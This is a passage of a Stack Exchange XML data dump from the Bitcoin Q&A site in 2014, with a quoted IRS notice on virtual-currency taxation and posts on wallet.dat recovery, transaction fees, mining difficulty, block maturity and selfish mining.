virtual currency, the fair market value of the virtual currency as of the date of receipt is includible in gross income. See Publication 525, Taxable and Nontaxable Income, for more information on taxable income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-9: Is an individual who &quot;mines&quot; virtual currency as a trade or business subject to self-employment tax on the income derived from those activities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-9: If a taxpayer's &quot;mining&quot; of virtual currency constitutes a trade or business, and the &quot;mining&quot; activity is not undertaken by the taxpayer as an employee, the net earnings from self-employment (generally, gross income derived from carrying on a trade or business less allowable deductions) resulting from those activities constitute self-employment income and are subject to the self-employment tax. See Chapter 10 of Publication 334, Tax Guide for Small Business, for more information on self-employment tax and Publication 535, Business Expenses, for more information on determining whether expenses are from a business activity carried on to make a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-10: Does virtual currency received by an independent contractor for performing services constitute self‑employment income?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-10: Yes. Generally, self‑employment income includes all gross income derived by an individual from any trade or business carried on by the individual as other than an employee. Consequently, the fair market value of virtual currency received for services performed as an independent contractor, measured in U.S. dollars as of the date of receipt, constitutes self‑employment income and is subject to the self-employment tax. See FS-2007-18, April 2007, Business or Hobby? Answer Has Implications for Deductions, for information on determining whether an activity is a business or a hobby.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-11: Does virtual currency paid by an employer as remuneration for services constitute wages for employment tax purposes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-11: Yes. Generally, the medium in which remuneration for services is paid is immaterial to the determination of whether the remuneration constitutes wages for employment tax purposes. Consequently, the fair market value of virtual currency paid as wages is subject to federal income tax withholding, Federal Insurance Contributions Act (FICA) tax, and Federal Unemployment Tax Act (FUTA) tax and must be reported on Form W-2, Wage and Tax Statement. See Publication 15 (Circular E), Employer's Tax Guide, for information on the withholding, depositing, reporting, and paying of employment taxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-12: Is a payment made using virtual currency subject to information reporting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-12: A payment made using virtual currency is subject to information reporting to the same extent as any other payment made in property. For example, a person who in the course of a trade or business makes a payment of fixed and determinable income using virtual currency with a value of $600 or more to a U.S. non-exempt recipient in a taxable year is required to report the payment to the IRS and to the payee. Examples of payments of fixed and determinable income include rent, salaries, wages, premiums, annuities, and compensation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-13: Is a person who in the course of a trade or business makes a payment using virtual currency worth $600 or more to an independent contractor for performing services required to file an information return with the IRS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-13: Generally, a person who in the course of a trade or business makes a payment of $600 or more in a taxable year to an independent contractor for the performance of services is required to report that payment to the IRS and to the payee on Form 1099-MISC, Miscellaneous Income. Payments of virtual currency required to be reported on Form 1099-MISC should be reported using the fair market value of the virtual currency in U.S. dollars as of the date of payment. The payment recipient may have income even if the recipient does not receive a Form 1099-MISC. See the Instructions to Form 1099-MISC and the General Instructions for Certain Information Returns for more information. For payments to non-U.S. persons, see Publication 515, Withholding of Tax on Nonresident Aliens and Foreign Entities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-14: Are payments made using virtual currency subject to backup withholding?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-14: Payments made using virtual currency are subject to backup withholding to the same extent as other payments made in property. Therefore, payors making reportable payments using virtual currency must solicit a taxpayer identification number (TIN) from the payee. The payor must backup withhold from the payment if a TIN is not obtained prior to payment or if the payor receives notification from the IRS that backup withholding is required. See Publication 1281, Backup Withholding for Missing and Incorrect Name/TINs, for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-15: Are there IRS information reporting requirements for a person who settles payments made in virtual currency on behalf of merchants that accept virtual currency from their customers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-15: Yes, if certain requirements are met. In general, a third party that contracts with a substantial number of unrelated merchants to settle payments between the merchants and their customers is a third party settlement organization (TPSO). A TPSO is required to report payments made to a merchant on a Form 1099-K, Payment Card and Third Party Network Transactions, if, for the calendar year, both (1) the number of transactions settled for the merchant exceeds 200, and (2) the gross amount of payments made to the merchant exceeds $20,000. When completing Boxes 1, 3, and 5a-1 on the Form 1099-K, transactions where the TPSO settles payments made with virtual currency are aggregated with transactions where the TPSO settles payments made with real currency to determine the total amounts to be reported in those boxes. When determining whether the transactions are reportable, the value of the virtual currency is the fair market value of the virtual currency in U.S. dollars on the date of payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See The Third Party Information Reporting Center, &lt;a href=&quot;http://www.irs.gov/Tax-Profession&quot; rel=&quot;nofollow&quot;&gt;http://www.irs.gov/Tax-Profession&lt;/a&gt;..., for more information on reporting transactions on Form 1099-K.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-16: Will taxpayers be subject to penalties for having treated a virtual currency transaction in a manner that is inconsistent with this notice prior to March 25, 2014?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-16: Taxpayers may be subject to penalties for failure to comply with tax laws. For example, underpayments attributable to virtual currency transactions may be subject to penalties, such as accuracy-related penalties under section 6662. In addition, failure to timely or correctly report virtual currency transactions when required to do so may be subject to information reporting penalties under section 6721 and 6722. However, penalty relief may be available to taxpayers and persons required to file an information return who are able to establish that the underpayment or failure to properly file information returns is due to reasonable cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;http://www.businessinsider.com/irs-bitcoin-is-property-not-currency-full-release-2014-3?op=1&quot; rel=&quot;nofollow&quot;&gt;http://www.businessinsider.com/irs-bitcoin-is-property-not-currency-full-release-2014-3?op=1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9816" LastActivityDate="2014-03-25T23:47:45.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23988" PostTypeId="1" AcceptedAnswerId="23989" CreationDate="2014-03-26T04:13:50.650" Score="1" ViewCount="5788" Body="&lt;p&gt;I have this question, say I have my coins in my local wallet and 1 of 2 things can happen, say I somehow delete the wallet.dat file or some kind of malware deletes the file. I have the password &lt;strike&gt;private key&lt;/strike&gt; to the wallet, would I need the wallet.dat file to recover the bitcoins or could I just recover with the private key to the address? Would I need both?&lt;/p&gt;&#xA;" OwnerUserId="13388" LastEditorUserId="14402" LastEditDate="2014-03-26T15:16:30.197" LastActivityDate="2021-01-20T03:32:41.020" Title="What happens if I delete wallet.dat?" Tags="|private-key|backup|wallet.dat|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23989" PostTypeId="2" ParentId="23988" CreationDate="2014-03-26T04:34:25.213" Score="5" Body="&lt;p&gt;Since &lt;code&gt;wallet.dat&lt;/code&gt; is mostly a collection of private keys, you will simply lose all private keys that you &lt;strong&gt;have not&lt;/strong&gt; duplicated or copied. It also by default stores the next 100 Bitcoin addresses it will give you when you generate a new address as a safety measure.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bottom line&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You will lose the copy of the private keys to addresses you've created or added but you won't destroy them. A backup will save you regardless if &lt;code&gt;wallet.dat&lt;/code&gt; exists or not. If you restore &lt;code&gt;wallet.dat&lt;/code&gt; from a backup, you:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;will not lose past transactions, those are stored by the network, not you.&lt;/li&gt;&#xA;&lt;li&gt;will not lose ownership of any bitcoins you may have acquired under the private keys you backed up, generating a new one and not creating a backup &lt;em&gt;may&lt;/em&gt; result in loss. Keep in mind first 100 addresses are stored in &lt;code&gt;wallet.dat&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;will not need to know the address of a public key. Those are derived from the private key mathematically.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="89141" LastEditDate="2021-01-13T01:34:11.960" LastActivityDate="2021-01-13T01:34:11.960" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23996" PostTypeId="1" CreationDate="2014-03-26T09:20:49.397" Score="0" ViewCount="354" Body="&lt;p&gt;Let me introduce my idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sizeof( Blockchain ) = 16Gb&lt;/li&gt;&#xA;&lt;li&gt;Downloading of one avi film 16GB from the pirate bay ( 5mb/s ) = 2-3 hours&lt;/li&gt;&#xA;&lt;li&gt;Downloading of bitcoin's blockchain ( 5mb/s ) = 2-3 days&lt;/li&gt;&#xA;&lt;li&gt;One day = 6 * 24 = 144 blocks.&lt;/li&gt;&#xA;&lt;li&gt;Drag - cryptography. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Task:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Accelerate boot of fresh client to the torrent speed. Similar to &lt;strong&gt;Bootstrap&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As I can see, downloading of blockchain is the same hard as mining, because there is every time recalculation of hash, comparing, checking of signs, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if client will only download this 144 blocks for a day and one super block with 144 hashs of the last valid blocks, thereafter only compare current wallet's addresses with addresses in this 144 blocks without any calculation of its hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any alt-coin with such accelerator? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;E.g. this super blocks might be archived into another ultra-block for a month. Than we have similar to sha(sha(text)) cascade shield against bruteforce attack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downloading of blockchain should takes at max the same time as downloading of 16GB avi from the pirate bay. Say, 5mb/s internet channel + p2p / 16 Gb = 2, may be 3 hours ( in the &lt;code&gt;no peers case&lt;/code&gt; ), but I spent 2 - 3 days, and I see that this is no internet speed reason, it is CPU + harddisk very very hard job.&lt;/p&gt;&#xA;" OwnerUserId="12645" LastEditorUserId="11369" LastEditDate="2014-03-27T03:41:03.183" LastActivityDate="2014-03-27T16:57:14.423" Title="Is there any altcoin with improvements in blockchain download time?" Tags="|blockchain|synchronization|altcoin|bootstrap.dat|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23999" PostTypeId="1" AcceptedAnswerId="24004" CreationDate="2014-03-26T10:07:48.347" Score="3" ViewCount="1816" Body="&lt;p&gt;I use the &lt;em&gt;walletnotify&lt;/em&gt; and &lt;em&gt;blocknotify&lt;/em&gt; config options on bitcoind to have the server call two executables on new transactions/blocks. This all works fine. The two executables (Windows executables) are both designed to run without a console window, and they do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, they do when I run them. When bitcoind runs them, I get a brief flash of a console window. As I run these on my development machine while developing, it's driving me to distraction. Does anyone have any idea to prevent this happening?&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2014-03-26T13:53:03.253" Title="BlockNotify/WalletNotify - but without the console window" Tags="|bitcoind|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24000" PostTypeId="1" CreationDate="2014-03-26T11:20:30.460" Score="5" ViewCount="842" Body="&lt;p&gt;Wikipedia &lt;a href=&quot;https://en.wikipedia.org/wiki/Kilobyte&quot; rel=&quot;noreferrer&quot;&gt;says&lt;/a&gt; kB = 1000 bytes and KB = 1024 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which one are we using for Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="5068" LastActivityDate="2015-07-21T13:05:27.910" Title="A fee is added per kilobyte of data. That means 1000 bytes or 1024?" Tags="|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24001" PostTypeId="2" ParentId="24000" CreationDate="2014-03-26T12:32:11.953" Score="5" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Sending&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.it-wiki page on Transaction fees&lt;/a&gt; are dependent on multiples of &lt;strong&gt;1,000 bytes&lt;/strong&gt;  (rounded up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above page cites Gavin Andresen's &lt;a href=&quot;https://bitcointalk.org/index.php?topic=219504.msg2311420#msg2311420&quot; rel=&quot;nofollow&quot;&gt;post on 0.8.2 Release notes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The default fee for low-priority transactions is lowered from 0.0005 BTC&#xA;  (&lt;strong&gt;&lt;em&gt;for each 1,000 bytes in the transaction&lt;/em&gt;&lt;/strong&gt;; an average transaction is&#xA;  about 500 bytes) to 0.0001 BTC. [emphasis mine]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-07-21T13:05:27.910" LastActivityDate="2015-07-21T13:05:27.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24003" PostTypeId="2" ParentId="24000" CreationDate="2014-03-26T13:47:16.237" Score="2" Body="&lt;p&gt;Here is the latest changed(commit) made for the fee drop: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/beabca2be092d0e2a1de26989d4e63a12cce1284#diff-279f95e952b2c1cff13bdfbcd7bc36ee&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/commit/beabca2be092d0e2a1de26989d4e63a12cce1284#diff-279f95e952b2c1cff13bdfbcd7bc36ee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be a multiple of 1,000 bytes as it's seen in the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, it's a multiple of &lt;strong&gt;1000 bytes&lt;/strong&gt;, not &lt;strong&gt;1024 bytes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Besir&lt;/p&gt;&#xA;" OwnerUserId="12809" LastActivityDate="2014-03-26T13:47:16.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24004" PostTypeId="2" ParentId="23999" CreationDate="2014-03-26T13:47:26.870" Score="2" Body="&lt;p&gt;I took me some, but I think I have an answer. I went trough the source code and found the &lt;code&gt;runCommand()&lt;/code&gt; function that actually starts the command provided by notify options (it is called mostly from &lt;code&gt;main.cpp&lt;/code&gt; and the code runs in a separate thread).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;util.cpp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void runCommand(std::string strCommand)&#xA;{&#xA;    int nErr = ::system(strCommand.c_str());&#xA;    if (nErr)&#xA;        LogPrintf(&quot;runCommand error: system(%s) returned %d\n&quot;, strCommand, nErr);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It uses the standard C library method &lt;code&gt;system()&lt;/code&gt;, which is probably giving you the flashing window. Normally one would use &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;CreateProcess()&lt;/code&gt;&lt;/a&gt; (or similar) to prevent the flash effect and have much more control over the spawned process (I don't know why the developers chose &lt;code&gt;system()&lt;/code&gt; here, but I guess it was just easier). I believe the behavior of the &lt;code&gt;system()&lt;/code&gt; call is system dependent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when you say &lt;code&gt;bitcoind&lt;/code&gt;, you mean the CLI interface of bitcoin, right? Is there a &lt;code&gt;bitcoind&lt;/code&gt; console window running? As for a solution, you could edit the source code to use &lt;code&gt;CreateProcess()&lt;/code&gt; with the &lt;code&gt;DETACHED_PROCESS&lt;/code&gt; flag, that would do the trick.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-03-26T13:53:03.253" LastActivityDate="2014-03-26T13:53:03.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24006" PostTypeId="2" ParentId="20574" CreationDate="2014-03-26T14:19:23.053" Score="1" Body="&lt;p&gt;bitc is a thin SPV bitcoin client. See &lt;a href=&quot;https://github.com/bit-c/bitc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bit-c/bitc&lt;/a&gt; . It's not very advanced yet (no HD wallets, change goes back to first address), but it's  small and self-contained.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2014-03-26T14:19:23.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24011" PostTypeId="1" AcceptedAnswerId="24016" CreationDate="2014-03-26T17:55:01.643" Score="7" ViewCount="2601" Body="&lt;p&gt;Why do people continue to mine bitcoins independently of their hash rate if their ROI loses 20% every month at the going difficulty rate and the exchange rate BTC/USD is at best flat?&lt;/p&gt;&#xA;" OwnerUserId="14248" LastEditorUserId="5406" LastEditDate="2016-01-20T20:12:54.177" LastActivityDate="2016-01-20T20:12:54.177" Title="Why do people mine bitcoins when they are losing 20% a month?" Tags="|mining-profitability|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24012" PostTypeId="1" CreationDate="2014-03-26T18:26:03.503" Score="-1" ViewCount="62" Body="&lt;p&gt;In Bit coin mining I would like to know if after all 2016 blocks are found and the new difficulty value is set, does one mine continuously on this new difficulty through to the 2016 blocks or does one mine with adjusted difficulty with every block found? &lt;/p&gt;&#xA;" OwnerUserId="14248" LastEditorUserId="5406" LastEditDate="2014-04-02T22:41:38.733" LastActivityDate="2014-04-02T22:41:38.733" Title="does one mine bit coin at current difficulty until next difficulty is set" Tags="|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24013" PostTypeId="1" AcceptedAnswerId="24072" CreationDate="2014-03-26T18:34:22.340" Score="0" ViewCount="432" Body="&lt;p&gt;I would like to know if bitcoin pools can give a different difficulty value other than the network difficulty or is the network difficulty the same for everybody &lt;/p&gt;&#xA;" OwnerUserId="14248" LastEditorUserId="5406" LastEditDate="2016-04-25T19:32:24.927" LastActivityDate="2016-04-25T19:32:24.927" Title="Can bitcoin pools set a different difficulty value other than the network difficulty" Tags="|mining-pools|difficulty|mining-pool-shares|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24014" PostTypeId="2" ParentId="24012" CreationDate="2014-03-26T19:02:15.960" Score="1" Body="&lt;p&gt;Once the difficulty adjusts, it does not change again until 2016 blocks later.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-03-26T19:02:15.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24015" PostTypeId="2" ParentId="23957" CreationDate="2014-03-26T19:55:18.307" Score="3" Body="&lt;p&gt;As of Bitcoin Core 0.9.0 the block maturity is 101 blocks. This means that the reference bitcoin implementation considers it safe to spend bitcoins that were generated more than 101 blocks ago. The reason for the wait time is because soon after a block is generated there is the possibility that it will lose the race to become widely recognized as the next valid block by the network. (All miners are competing to add the next block to the blockchain, and sometimes two parties find the next block within a very short time. If this happens a race to propagate the block will ensue.) When a block loses the race, it is an &quot;orphan&quot; and the new bitcoins that were created (and awarded to a miner) become null and void. If these bitcoins had been spent, that transaction and all subsequent transactions based on those new bitcoins would be invalid. Bad news if you just mailed someone a new TV in exchange for these &quot;immature&quot; bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction maturity is different. Each time a transaction is included in a block, it has been confirmed to be valid by the network, and is then distributed to all the nodes on the network. Now would be the earliest you should ever mail the new TV. However, just like in the case of block maturity, this block could potentially lose the race to become widely recognized as the next valid block. If it were to be orphaned, the confirmation for a given transaction would be lost. Under normal circumstances, this is not a big deal - the next block (or next few blocks) will contain all of the transactions from the orphaned block. However, an attacking party could be actively trying to attach its own blocks to the blockchain which might contain double-spent coins or other non-kosher transactions. Conventional wisdom is that a transaction that is included in a block that has at least five more on top of it (6 confirmations) is not likely to be the result of an attacking party. This is because the hashing power required to rewrite a transaction that already happened and then consistently outpace the &quot;honest&quot; miners for 6 straight blocks would be too great.&lt;/p&gt;&#xA;" OwnerUserId="14849" LastActivityDate="2014-03-26T19:55:18.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24016" PostTypeId="2" ParentId="24011" CreationDate="2014-03-26T20:09:29.900" Score="5" Body="&lt;p&gt;Most miners are speculating that the future value of a bitcoin will be greater than the present value. No profit-oriented miner is happy about the current rate of increase in difficulty. Also, the current rate of difficulty is not a one-way phenomenon. Many factors could cause the difficulty to decrease, such as a flaw that was perceived to be un-fixable. If confidence in bitcoin in general were to drop, mining difficulty would drop as well as mining power and money fled to other virtual currencies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other people genuinely want to create an alternate payment network and/or currency and see their contribution in those terms, and not in monetary terms. For those people the price of bitcoins is not their primary motivation.&lt;/p&gt;&#xA;" OwnerUserId="14849" LastActivityDate="2014-03-26T20:09:29.900" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24017" PostTypeId="2" ParentId="20667" CreationDate="2014-03-26T21:21:18.783" Score="0" Body="&lt;p&gt;The first Bitcoin ATM is in Melbourne, the second is in Nimbin and there is another one being launched in Sydney tonight. I believe they are all made by Lamassu&lt;/p&gt;&#xA;" OwnerUserId="14850" LastActivityDate="2014-03-26T21:21:18.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24018" PostTypeId="1" CreationDate="2014-03-26T22:07:11.510" Score="0" ViewCount="4680" Body="&lt;p&gt;Is there a way to get the public key of a given wallet.dat to check the balance in the blockchain to avoid having to install the wallet and read all blocks?&lt;/p&gt;&#xA;" OwnerUserId="10088" LastActivityDate="2018-01-08T15:25:20.500" Title="get public key from wallet.dat" Tags="|blockchain|wallet.dat|public-key|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24019" PostTypeId="1" AcceptedAnswerId="24052" CreationDate="2014-03-26T23:31:03.260" Score="0" ViewCount="477" Body="&lt;p&gt;What is the correct formula for X11 to calculate hashrate?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;right maxDiff number to multiple the shares by in order to display&#xA;  hashrate&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We need hashrate &lt;strong&gt;multiplier&lt;/strong&gt; and the &lt;strong&gt;maxdiff&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scrypt: 2^16&#xA;&#xA;sha256d: 2^32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;maxDiff with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;scrypt: 0x0000ffff00000000000000000000000000000000000000000000000000000000&lt;/code&gt;, &#xA;&lt;code&gt;sha256d: 0x00000000ffff0000000000000000000000000000000000000000000000000000&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="2167" LastEditDate="2014-03-26T23:45:27.313" LastActivityDate="2014-03-27T17:12:13.393" Title="X11 | multiplier &amp; maxDiff number to multiple the shares by in order to display hashrate" Tags="|x11|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24020" PostTypeId="2" ParentId="4835" CreationDate="2014-03-27T00:42:12.317" Score="0" Body="&lt;p&gt;&lt;strong&gt;picocoin&lt;/strong&gt; / &lt;strong&gt;libccoin&lt;/strong&gt; available at &lt;a href=&quot;https://github.com/jgarzik/picocoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/picocoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3347" LastActivityDate="2014-03-27T00:42:12.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24021" PostTypeId="1" CreationDate="2014-03-27T04:28:04.497" Score="1" ViewCount="76" Body="&lt;p&gt;Firstly, I know  this is a duplicate post but from what I can find all of the others are using the MtGox price (redundant now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering - what is the current best way to display the price of one litecoin and one bitcoin in USD using PHP?&lt;/p&gt;&#xA;" OwnerUserId="14110" LastActivityDate="2014-03-27T04:28:04.497" Title="How to display price of one Bitcoin on website in PHP?" Tags="|bitcoind|litecoin|php|" AnswerCount="0" CommentCount="2" ClosedDate="2014-03-27T07:16:26.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="24022" PostTypeId="2" ParentId="24018" CreationDate="2014-03-27T04:41:21.177" Score="1" Body="&lt;p&gt;First of all, a &lt;code&gt;wallet.dat&lt;/code&gt; file does not contain a single public key; it contains multiple keypairs. You can use PyWallet as Meni says, but if it's too technical for you, you can install the wallet but don't have to download all the blocks. Your public keys will show up under &quot;Receive coins&quot; (even if the blockchain is not downloaded), and you can copy each of them into &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; to check the balance of each address. Adding them all up will give you your total balance.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-27T04:41:21.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24023" PostTypeId="1" AcceptedAnswerId="24041" CreationDate="2014-03-27T04:49:40.223" Score="1" ViewCount="151" Body="&lt;p&gt;I'm trying to learn how to programmatically interact with the Bitcoin protocol. I've, seemingly, successfully generated a private key, WIF, and public address with code. I used Coinbase to send .001 BT to &lt;a href=&quot;https://blockchain.info/address/14egr6kfYY4xiSVPim2sJnED4t89Yvn8hQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;14egr6kfYY4xiSVPim2sJnED4t89Yvn8hQ&lt;/a&gt;. I then used the Bitcoin-Qt debug console and issued&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase &amp;lt;WIF&amp;gt; More&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to import the address. The address has shown up in Bitcoin-Qt but the transaction is not appearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qCIId.png&quot; alt=&quot;address&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfGvn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="12083" LastEditorUserId="5406" LastEditDate="2016-08-19T08:04:10.647" LastActivityDate="2016-08-19T08:04:10.647" Title="Help with missing transaction" Tags="|client|protocol|import|rescan|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24024" PostTypeId="1" CreationDate="2014-03-27T06:33:07.380" Score="-2" ViewCount="562" Body="&lt;p&gt;I install ripple coin from Github as I did for other coins. On cloning rippled &lt;a href=&quot;https://github.com/ripple/rippled/&quot; rel=&quot;nofollow&quot;&gt;rippled&lt;/a&gt; from Github, I can't find files under rippled as I found for other coins. I can not find much information regarding installing about ripplecoind.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/rippled$ ls&#xA;bin  Builds  doc  LICENSE  package.json  README.md  SConstruct  site_scons  src  test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I followed the following steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$git clone https://github.com/ripple/rippled.git&#xA;$cd ripplecoind/src&#xA;$make -f makefile.unix&#xA;make: makefile.unix: No such file or directory&#xA;make: *** No rule to make target `makefile.unix'.  Stop.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me with installation steps?&lt;/p&gt;&#xA;" OwnerUserId="12634" LastActivityDate="2014-03-28T13:26:09.763" Title="Installing ripple coin daemon and Ripple coin-QT in ubuntu gives error" Tags="|bitcoind|ripple|ubuntu|daemon|compiling|" AnswerCount="1" CommentCount="0" ClosedDate="2020-05-06T08:13:32.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="24025" PostTypeId="2" ParentId="23798" CreationDate="2014-03-27T06:57:07.377" Score="1" Body="&lt;p&gt;Selfish mining is not related to the three factors you mentioned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is that a miner can do one of two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Shift her mining efforts on top of any new legitimate block she hears about and broadcast to the network any block she finds as soon as she finds it&lt;/li&gt;&#xA;&lt;li&gt;When she finds a block, instead of broadcasting it immediately, keep it to herself and attempt to mine on top of it and lengthen a &lt;strong&gt;private branch&lt;/strong&gt; of the blockchain which she can later choose to broadcast opportunistically and collect the reward associated with the one (or more) blocks in her secret branch. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first strategy is the one &lt;em&gt;suggested&lt;/em&gt; in Satoshi's paper. I'm calling this a &lt;em&gt;suggestion&lt;/em&gt; because there is nothing forcing it in the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surprisingly (perhaps) the second strategy can be shown to increase the chances of &lt;strong&gt;winning the next block&lt;/strong&gt;, in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain types 